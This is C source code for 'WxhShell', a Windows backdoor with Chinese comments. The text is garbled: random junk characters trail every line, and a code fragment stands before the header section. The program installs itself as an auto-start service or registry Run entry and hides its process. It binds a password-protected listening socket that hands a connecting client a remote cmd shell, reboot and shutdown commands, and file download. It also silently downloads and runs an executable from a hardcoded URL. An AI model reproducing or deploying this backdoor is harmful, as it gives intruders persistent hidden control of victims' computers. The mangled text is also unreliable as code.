    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  a@|.;#FF  
    if(Boot(SHUTDOWN)) \; bW h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KC Xwn  
    else { R!{7OkC  
    closesocket(wsh); f]}}yBte`  
    ExitThread(0); 'yNPhI  
    } 5fHYc0  
    break; Tkrx7C s(  
    } !C7<sZ`C  
  // 获取shell + x_ wYv  
  case 's': { Qp&?L"U)2  
    CmdShell(wsh); 0]a15  
    closesocket(wsh); u ~71l)LA  
    ExitThread(0); 'P/taEi=R  
    break; a!.!2a&t  
  } spiDm:Xe  
  // 退出 P $h;SK  
  case 'x': { 5X;?I/9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DyI2Ye  
    CloseIt(wsh); $DV-Ieb  
    break; fH!=Zb_{8  
    } a R#Cot  
  // 离开 '?R=P  
  case 'q': { nx :)k-p_[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I2*oTUSik  
    closesocket(wsh); J%4HNW*p  
    WSACleanup(); 70<K .T<b  
    exit(1); /s-d?  
    break; luF#OPC  
        } OQ| ,-  
  } a-Fqp4  
  } --/-D5  
>H?uuzi  
  // 提示信息 w$% BlqN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wy)('EM  
} YnxU(v'\  
  } NhtEW0xCr  
J_/05( 48  
  return; %EB;1  
} 0HPO" x3-O  
l-=e62I{=|  
// shell模块句柄 ~D!ESe*=  
int CmdShell(SOCKET sock) 8Xk Ik7  
{ Qy%xL9  
STARTUPINFO si; *08+\ed"#  
ZeroMemory(&si,sizeof(si)); _&mc8ftT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ! ZA}b[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t!savp  
PROCESS_INFORMATION ProcessInfo; 8AX3C s_G  
char cmdline[]="cmd";  f }-v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "sIN86pCs  
  return 0; ypT9 8  
} &O{t^D)F  
d:3= 1x  
// 自身启动模式 <|dj^.^  
int StartFromService(void) C!kbZTO[p"  
{ ]h!*T{:  
typedef struct ~6fRS2u  
{ M[vCpa  
  DWORD ExitStatus; _pW 'n=}R  
  DWORD PebBaseAddress; @_uFX!;  
  DWORD AffinityMask; }Y$VB%&Hy  
  DWORD BasePriority; W#Cq6N  
  ULONG UniqueProcessId; }amE6  
  ULONG InheritedFromUniqueProcessId; *hl<Y,W(  
}   PROCESS_BASIC_INFORMATION; " xxXZGUp  
4= $!_,.  
PROCNTQSIP NtQueryInformationProcess; jM;d>Gymx  
-sD:+Te  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !z.^(Tj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xF^r`  
wISzT^RS  
  HANDLE             hProcess; }(rzH}X@  
  PROCESS_BASIC_INFORMATION pbi; e7wKjt2fy  
6z`8cI+LRw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]d~MEa9Y|  
  if(NULL == hInst ) return 0; 7Fc |  
wtUG^hV #_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QJ6f EV$~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =/f74s t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *ig5Q(b*N  
ur`V{9g  
  if (!NtQueryInformationProcess) return 0; 9cbB[c_.  
0YHYxn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3 dY6;/s  
  if(!hProcess) return 0; p\)h",RkA  
@nW'(x(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L7[X|zmy*x  
E'fX&[  
  CloseHandle(hProcess); @)06\ h  
]#+5)[N$>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ; S{ZC5  
if(hProcess==NULL) return 0; =I{S;md  
uJ7,rq  
HMODULE hMod; :nTkg[49pJ  
char procName[255]; X^9t  
unsigned long cbNeeded; a#>t+.dd  
^S3A10f,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X{4xm,B/  
ta2z  
  CloseHandle(hProcess); 78\\8*  
#NSaY+V  
if(strstr(procName,"services")) return 1; // 以服务启动 mfUKHX5  
w2s,  
  return 0; // 注册表启动 >l6XZQ >  
} &<m WA]cAL  
RN sJ!or  
// 主模块 Q9SPb6O2  
int StartWxhshell(LPSTR lpCmdLine) pZW}^kg=  
{ T`j  
  SOCKET wsl; >2*6qx>V  
BOOL val=TRUE; x Xl$Mp7  
  int port=0; 1Q3%!~<\s  
  struct sockaddr_in door; Es_ SCWJ  
[UUM^!1  
  if(wscfg.ws_autoins) Install(); 06Sqn3MB  
2I9{+>k  
port=atoi(lpCmdLine); 3Ro7M=]  
#{.pQi})  
if(port<=0) port=wscfg.ws_port; =#J 9  
Q2??Kp] 1  
  WSADATA data; <$Xn:B<H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i,\t]EJAU  
,|=iv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )yfOrsM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >0[qi1  
  door.sin_family = AF_INET; 9LUP{(uq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +G>aj '\M|  
  door.sin_port = htons(port); v #zfs'  
p=je"{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?d,acm  
closesocket(wsl); w4 >:uyE  
return 1; uBV^nUjS"m  
} KX&Od@cQ$  
-uS7~Ww.a  
  if(listen(wsl,2) == INVALID_SOCKET) { e{d_p%(  
closesocket(wsl); 'bd=,QW  
return 1; 7~QwlU3n<F  
} zcbA)  
  Wxhshell(wsl); U* c{:K-C  
  WSACleanup(); jFK9?cLT  
uT@8 _9  
return 0; E}E7VQjM  
!dYX2!lvT  
} p2M?pV  
?3e!A9x  
// 以NT服务方式启动 sP=2NqU3Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BUboP?#%)  
{ KG7X8AaK#  
DWORD   status = 0; Qt)7mf  
  DWORD   specificError = 0xfffffff; t~udfOvY  
H znI R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qugPs(uQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +$Ddd`J'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oC;l5v<  
  serviceStatus.dwWin32ExitCode     = 0; ^[SbV^DOL  
  serviceStatus.dwServiceSpecificExitCode = 0; gw*yIZ@3)  
  serviceStatus.dwCheckPoint       = 0; =!Baz&#}  
  serviceStatus.dwWaitHint       = 0; gGceK^#  
1yY'hb,0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jtlDSf#  
  if (hServiceStatusHandle==0) return; fNmG`Ke  
%K/G+  
status = GetLastError(); 0VWCm( f-  
  if (status!=NO_ERROR) C=pPI  
{ ^.B `Z{Jb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ()rx>?x5  
    serviceStatus.dwCheckPoint       = 0; J_)z:`[yE  
    serviceStatus.dwWaitHint       = 0; ! S$oaCxM  
    serviceStatus.dwWin32ExitCode     = status; Ve')LY<  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9X*eE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P"[l86:  
    return; ) J:'5hz  
  } Uzm[e%/`  
EUYa =-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lFzQG:k@  
  serviceStatus.dwCheckPoint       = 0; 3IRRFIiO  
  serviceStatus.dwWaitHint       = 0; cC(ubUR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FK/ro91L  
} 9x 6ca  
Xk7$?8r4&  
// 处理NT服务事件,比如:启动、停止 1&>nL`E[3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) faKrSmE!  
{ _mq*j^u,j  
switch(fdwControl) jwtXI\@MS  
{ 71.:p,Z@z  
case SERVICE_CONTROL_STOP: OD2ai]!v+  
  serviceStatus.dwWin32ExitCode = 0; :pV("tHE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PK|`}z9  
  serviceStatus.dwCheckPoint   = 0; Z-;uzx  
  serviceStatus.dwWaitHint     = 0; n?ZH2dI \0  
  { :[ZC-hc\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bC,M&<N  
  } >?uH#%C5  
  return; uk>/I l  
case SERVICE_CONTROL_PAUSE: FZ'>LZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PY3Vu]zD  
  break; \c@qtIc  
case SERVICE_CONTROL_CONTINUE: cq+M *1;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |SXMu_w  
  break; [laL6  
case SERVICE_CONTROL_INTERROGATE: WRU@i;l  
  break; MjF.>4  
}; R4J>M@-0v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \t~u : D  
} S0o,)`ZB  
\gk3w,B?E  
// 标准应用程序主函数 )v$Cv|"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e7j]BzGvl  
{ /x"pj3  
>+c`GpZH  
// 获取操作系统版本 "x)pp  
OsIsNt=GetOsVer(); ,Elga}7u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DF&jZ[##  
K Lv  
  // 从命令行安装 3B_} :  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4Hd@U&E  
7=ga_2  
  // 下载执行文件 >kLH6.  
if(wscfg.ws_downexe) { (nZ=9+j]d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h ?qYy$  
  WinExec(wscfg.ws_filenam,SW_HIDE); .f!eRV.&  
} RU ,N_GV   
0 ?*I_[Y  
if(!OsIsNt) { !`S%l1[Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 #5"<.z  
HideProc(); keq[ 6Lv  
StartWxhshell(lpCmdLine);  f"=4,  
} mWFZg.#?  
else Q*J ~wuE2  
  if(StartFromService()) TH}ycue  
  // 以服务方式启动 B7jlJqV  
  StartServiceCtrlDispatcher(DispatchTable); |&pz,"(  
else QbKYB  
  // 普通方式启动 aw@Aoq  
  StartWxhshell(lpCmdLine); 'krMVC-  
rM?Dp2  
return 0; ,/?V+3l  
} aFm]?75  
})u}PQ  
es(LE/`e  
n^(yW  
=========================================== gm8Tm$fY  
).`a-Pv  
RxeRO2  
)A+j  
*9:6t6x  
vi.AzO  
" D]`B;aE>A*  
 O,,n  
#include <stdio.h> *B~:L"N  
#include <string.h> t>`LO  
#include <windows.h> g~sNY|%  
#include <winsock2.h> ImY*cW=M  
#include <winsvc.h> TF3q?0  
#include <urlmon.h> nR'EuI~(}  
\6 0WP-s  
#pragma comment (lib, "Ws2_32.lib") p$G3r0 @  
#pragma comment (lib, "urlmon.lib") s3RyLT  
'\mZ7.Jj  
#define MAX_USER   100 // 最大客户端连接数 %v)'`|i  
#define BUF_SOCK   200 // sock buffer M&T/vByTn_  
#define KEY_BUFF   255 // 输入 buffer d/zX%  
uR @Wv^  
#define REBOOT     0   // 重启 Zdg{{|mm  
#define SHUTDOWN   1   // 关机 : MmXH&yR  
A;nmua-Fv  
#define DEF_PORT   5000 // 监听端口 =5_F9nk-   
P FFw$\j  
#define REG_LEN     16   // 注册表键长度 l6U'  
#define SVC_LEN     80   // NT服务名长度 v#2qwd3x  
q9(}wvtr  
// 从dll定义API ;= @-j@?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a ^/20UFq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Id 7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Br^b%12ZRS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j1CD;9i)%  
pXlBKJmW  
// wxhshell配置信息 ` i^1U O  
struct WSCFG { "J:NW_U  
  int ws_port;         // 监听端口 )H, <i{80c  
  char ws_passstr[REG_LEN]; // 口令  M!DoR6  
  int ws_autoins;       // 安装标记, 1=yes 0=no nhhJUN?8  
  char ws_regname[REG_LEN]; // 注册表键名 Kqu7DZ+W  
  char ws_svcname[REG_LEN]; // 服务名 s;f u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >-+X;0&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s1apHwJ -  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;-Dd\\)p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S^n4aBm\+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Sf:lN4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +!Ag n)  
?6]ZQ\,  
}; |OT%,QT|  
eh(]'%![/  
// default Wxhshell configuration _[tBLGXD  
struct WSCFG wscfg={DEF_PORT, _ILOA]ga#  
    "xuhuanlingzhe", SO<K#HfE$?  
    1, Lcb5 9Cs6e  
    "Wxhshell", XdVC>6  
    "Wxhshell", M_)T=s *  
            "WxhShell Service", vt=S0X^$yc  
    "Wrsky Windows CmdShell Service", e|9Bzli{  
    "Please Input Your Password: ", DNO%J^  
  1, Mxp4YQl  
  "http://www.wrsky.com/wxhshell.exe", x G"p .  
  "Wxhshell.exe" NdQ?3'WJ  
    }; jC8BLyGE_  
^Wz{su2  
// 消息定义模块 yYtki  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EwZt/r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Kg6 7cmj)f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dju{&wo~4  
char *msg_ws_ext="\n\rExit."; DcDGrRuh  
char *msg_ws_end="\n\rQuit."; Gukq}ZQd  
char *msg_ws_boot="\n\rReboot..."; %LW~oI.  
char *msg_ws_poff="\n\rShutdown..."; ? D'-{/<4  
char *msg_ws_down="\n\rSave to "; V-u\TiL  
4f-C]N=  
char *msg_ws_err="\n\rErr!"; m_f^#:  
char *msg_ws_ok="\n\rOK!"; &!MKqJ@t  
;<rJ,X#  
char ExeFile[MAX_PATH]; ]`m5!V_Y  
int nUser = 0; 86VuPV-  
HANDLE handles[MAX_USER]; B ~GyS"  
int OsIsNt; o#b9M4O  
y +vcBuX  
SERVICE_STATUS       serviceStatus; \bE~iz3b9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; svgi!=  
a]ey..m  
// 函数声明 T^>cT"ux_  
int Install(void); #2=30  
int Uninstall(void); C`K/ai{4  
int DownloadFile(char *sURL, SOCKET wsh); /UAj]U  
int Boot(int flag); ^jA^~h3(W  
void HideProc(void); PxY"{-iAM  
int GetOsVer(void); z [{%.kA  
int Wxhshell(SOCKET wsl); ~!u94_:  
void TalkWithClient(void *cs); ^PszZ10T  
int CmdShell(SOCKET sock); Hc!_o`[{l  
int StartFromService(void); h|Qh/jCX  
int StartWxhshell(LPSTR lpCmdLine); )[.URp&  
|zlwPi.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7.-|3Wcg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CeemR>\t  
ibL;99#  
// 数据结构和表定义 T]k@g_  
SERVICE_TABLE_ENTRY DispatchTable[] = r|8..Ll  
{ lPP7w`[PA  
{wscfg.ws_svcname, NTServiceMain}, tzPe*|m<  
{NULL, NULL} Hqv(X=6E0  
}; ]F! ,Jx  
d4tVK0 ~  
// 自我安装 $>Do&TU   
int Install(void) p! 1zhD  
{ 2Hj]QN7"   
  char svExeFile[MAX_PATH]; vzPrG%Uu7g  
  HKEY key; -K4RQ{=>UZ  
  strcpy(svExeFile,ExeFile); " 8v  
+bU(-yRy5o  
// 如果是win9x系统,修改注册表设为自启动 YTsn;3d]}  
if(!OsIsNt) { XZJx3!~fm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5@\<:Zmi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dfce/QOV  
  RegCloseKey(key); EY(4 <;)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NKN!X/P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {fs(+ 0ei  
  RegCloseKey(key); eP8wTStC  
  return 0; s RB8 jY  
    } u5,<.#EVY  
  } JM0)x}] +  
} _Yv9u'q"  
else { J<D =\  
3@SfCG&|e  
// 如果是NT以上系统,安装为系统服务 yuWrU<Kw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !+U.)u9 '  
if (schSCManager!=0) na>B{6  
{ YjT #^AH  
  SC_HANDLE schService = CreateService O4{&B@!  
  ( 5NK:94&JE  
  schSCManager, [ q}WS5Cp  
  wscfg.ws_svcname, 7O j9~3o4  
  wscfg.ws_svcdisp, z;)% i f6  
  SERVICE_ALL_ACCESS, pw8'+FX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l\)Q3.w  
  SERVICE_AUTO_START, Uz6B\-(0p  
  SERVICE_ERROR_NORMAL, ]|oqJ2P  
  svExeFile, mvnK)R_  
  NULL, x.aUuC,$x  
  NULL, )yJjJ:re  
  NULL, _*_zyWW_j  
  NULL, uxBk7E%6  
  NULL HukHZ;5  
  ); GZo^0U,;  
  if (schService!=0) Aka`L:k  
  { $J+$ 8pA  
  CloseServiceHandle(schService); mDhU wZH  
  CloseServiceHandle(schSCManager); :Wln$L$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =KMck=#B  
  strcat(svExeFile,wscfg.ws_svcname); 3)sqAs(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9;jfg|x1[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -HOCxR  
  RegCloseKey(key); LcXrD+ 1  
  return 0; $%<gp@Gz  
    } H!N,PI?rn  
  } a fjC~}  
  CloseServiceHandle(schSCManager); x!J L9  
} &,+ZN A`P  
} 'W)x<Iey1  
%rYt; 7B  
return 1; Mg].#  
} iV%% VR8b  
G:UdU{  
// 自我卸载 a2zo_h2R  
int Uninstall(void) %(i(ZW "  
{ m@~HHwj  
  HKEY key; /*[a>B4-q  
V6c?aZ,O  
if(!OsIsNt) { 8w$cj'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z&eJ?wb  
  RegDeleteValue(key,wscfg.ws_regname); jU=)4nx  
  RegCloseKey(key); drH!?0Dpg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }k%>%xQ.  
  RegDeleteValue(key,wscfg.ws_regname); }r N"H4)  
  RegCloseKey(key); @Q'5/q+  
  return 0; d 1z   
  } Ofn:<d  
} L^22,B 0  
} p47~vgJN  
else { $>+-=XMVB  
;9rQN3J$gn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k[][Md2Vh  
if (schSCManager!=0) `g#\ Ws  
{ E:7vm@+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g wk\[I`;  
  if (schService!=0) *J6qL! ["  
  { V[% r5!83H  
  if(DeleteService(schService)!=0) { 0pu'K)Rb  
  CloseServiceHandle(schService); :]x)lP(3E  
  CloseServiceHandle(schSCManager); BR|dW4\  
  return 0; ~{HA!C#  
  } r J&1[=s  
  CloseServiceHandle(schService); ='s2S5#1  
  } {KR/ TQ?A  
  CloseServiceHandle(schSCManager); Z-WWp#b  
} q,2 @X~T  
} x9uA@$l^|  
 iGR(  
return 1; bf3)^ 49}  
} bw@tA7Y  
8F%T Z M  
// 从指定url下载文件 M 3^p,[9r#  
int DownloadFile(char *sURL, SOCKET wsh) lcih [M6z  
{  /8.;  
  HRESULT hr; P0W%30Dh  
char seps[]= "/"; pt=[XhxC(>  
char *token; 0DN:{dJz  
char *file;  3o/f#y  
char myURL[MAX_PATH]; uH`ds+Hp  
char myFILE[MAX_PATH]; aPWFb.JO4  
[QeKT8  
strcpy(myURL,sURL); 7"M7N^  
  token=strtok(myURL,seps); }L@YLnc%  
  while(token!=NULL) E_$ ST3  
  { BWd?a6nU}  
    file=token; ;DGp7f#9  
  token=strtok(NULL,seps); <F&S   
  } a"~W1|JC"  
e{"d6pF=  
GetCurrentDirectory(MAX_PATH,myFILE); lk8VJ~2d  
strcat(myFILE, "\\"); YTY0N5["  
strcat(myFILE, file); h1,J<B@  
  send(wsh,myFILE,strlen(myFILE),0); L&l> ?"_  
send(wsh,"...",3,0); `OduBUI]]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }V`Fz',lZ  
  if(hr==S_OK) X]`\NNx  
return 0; 5^ pQ=Sgt  
else eK]GyY/Y  
return 1; Z$2mVRS`c  
)M1.>?b  
} K":- zS  
XfB;^y=u8  
// 系统电源模块 2 !{P<   
int Boot(int flag) y#r=^r]l)  
{ qD 2<-E&M/  
  HANDLE hToken; K?P.1H`  
  TOKEN_PRIVILEGES tkp; (RGl, x:  
lnTl"9F  
  if(OsIsNt) { aFKks .n3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Il!iqDHz3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hd+JKh!u  
    tkp.PrivilegeCount = 1; F/mD05{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8amtTM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 594$X@ !v  
if(flag==REBOOT) { \,~gA   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0\u_ \%[  
  return 0; WpRi+NC}ln  
} CKj3-rcF(  
else { |`#[jHd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ie``W b=  
  return 0; 2f F)I&  
} )-[X^l j  
  } Y ||!V  
  else { u{8Wu;  
if(flag==REBOOT) { aRfkJPPa[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5JQq?e)n  
  return 0; cpf8f i  
} ~ 5`Ngpp  
else { 3"%:S_[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 60-LpGhvy  
  return 0; * _U z**M  
} QD7>S(p  
} uI.4zbgl[  
QiY7m<3  
return 1; tBdvk>d  
} erqg|TsFj  
$yRbo '-  
// win9x进程隐藏模块 N/]TZu~k z  
void HideProc(void)  RtK/bUa  
{ VM|8HR7U  
rY88xh^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); julAN$2  
  if ( hKernel != NULL ) {_PV~8u  
  { VAV@Qn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I C7n;n9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :x= ZvAvo  
    FreeLibrary(hKernel); B7va#'ne4{  
  } _k _F  
kf^Wzp  
return; E/Y.f  
} wHdq:,0-!  
0W#.$X5  
// 获取操作系统版本 W&6ye  
int GetOsVer(void) @zSoPDYv,  
{ H`m| R  
  OSVERSIONINFO winfo; dc"Vc 3)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HA"LU;5>2J  
  GetVersionEx(&winfo); vBq 2JJAl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P6;L\9=H<  
  return 1; luAhyEp  
  else @~/LsYA:  
  return 0; 1,BtOzuRo  
} QZ%_hvY[%>  
IN),Lu0K  
// 客户端句柄模块 ,NKDEcw]  
int Wxhshell(SOCKET wsl) 0p:n'P  
{ ^25$=0  
  SOCKET wsh; 6SW:'u|90  
  struct sockaddr_in client; SbrBlP: G  
  DWORD myID; liPUK#  
?\.P  
  while(nUser<MAX_USER) \/lH]u\x  
{ ,!PNfJA2  
  int nSize=sizeof(client); dLG5yx\js  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %]RzC`NZ  
  if(wsh==INVALID_SOCKET) return 1; F71.%p7C8"  
Bglh}_X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ytr~} M%  
if(handles[nUser]==0) <dh7*M  
  closesocket(wsh); !)KX?i[Q  
else dorZ O2Uc  
  nUser++; <eb>/ D  
  } (T!Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e>y"V; Mj  
99H&#!~bSS  
  return 0; Bu*ge~  
} ?ZE1>L7e  
m>:3Ku  
// 关闭 socket (H0nO7Bk  
void CloseIt(SOCKET wsh) "P'W@  
{ cMI QbBM  
closesocket(wsh); -0Y8/6](  
nUser--; {>>f5o 3  
ExitThread(0); ]hN%~ ~$>  
} A1>R8Zuhy  
!SKEL6~7  
// 客户端请求句柄 @R(6w{h9  
void TalkWithClient(void *cs) zr2%|YF  
{ a*KB'u6&  
cPkN)+K  
  SOCKET wsh=(SOCKET)cs; dy#dug6j  
  char pwd[SVC_LEN]; Z_cTuu0'  
  char cmd[KEY_BUFF]; m?>$!B4jFB  
char chr[1]; ES<"YF  
int i,j; bY&s $Ry3"  
UACWs3`s+  
  while (nUser < MAX_USER) { qGr(MDLc  
-@<k)hWr  
if(wscfg.ws_passstr) { >Ix)jSNLgo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9^3y\@ m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aZ@Ke$jD  
  //ZeroMemory(pwd,KEY_BUFF); n<y!@p^X  
      i=0; I( G8cK  
  while(i<SVC_LEN) { \{P(s:  
X#Ajt/XQ  
  // 设置超时 7Oru{BQ">  
  fd_set FdRead; SP 97Q-  
  struct timeval TimeOut; j^ex5A.& &  
  FD_ZERO(&FdRead); /@Y/(+DE  
  FD_SET(wsh,&FdRead); O.  V!L  
  TimeOut.tv_sec=8; O5LB&s   
  TimeOut.tv_usec=0; [D^KM|I%+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (KK9/k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7P.C~,+D%P  
YSs9BF:a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l X;2~iW{/  
  pwd=chr[0]; Nq"/:3@4  
  if(chr[0]==0xd || chr[0]==0xa) { xW#r)aN]p  
  pwd=0; W{?7Pn?1`  
  break; *R0Ae 4  
  } 8 U B?X  
  i++; {xMY2I++  
    } 1wi{lJaz  
w*f.Fu(su  
  // 如果是非法用户,关闭 socket $ GL$ iA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CT6a  
} P}KyT?X:  
2~K.m@U}!Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K9;pX2^z9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8m2-fuJz  
=pF 6  
while(1) { #,0%g 1  
a)`b;]+9  
  ZeroMemory(cmd,KEY_BUFF); 0' @^PzX  
'/Hx0]V  
      // 自动支持客户端 telnet标准   ix=HLF-0zC  
  j=0; @c9VCG D  
  while(j<KEY_BUFF) { ezY _7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "'~'xaU!=a  
  cmd[j]=chr[0]; JD^(L~n]  
  if(chr[0]==0xa || chr[0]==0xd) { '@3hU|jO!  
  cmd[j]=0; w<| ^i*  
  break; pBG(%3PpW  
  } %S]H  
  j++; ZYos.ay  
    } e@Q<hb0<eU  
YrS%Yvhj0  
  // 下载文件 0-oR { {  
  if(strstr(cmd,"http://")) { f|cd_?|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .|NF8Fj  
  if(DownloadFile(cmd,wsh)) -y1%c^36_J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $21+6  
  else _O Tqm5_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ayadvi(@P  
  } .#2YJ~  
  else { pE[ul  
c6:"5};_  
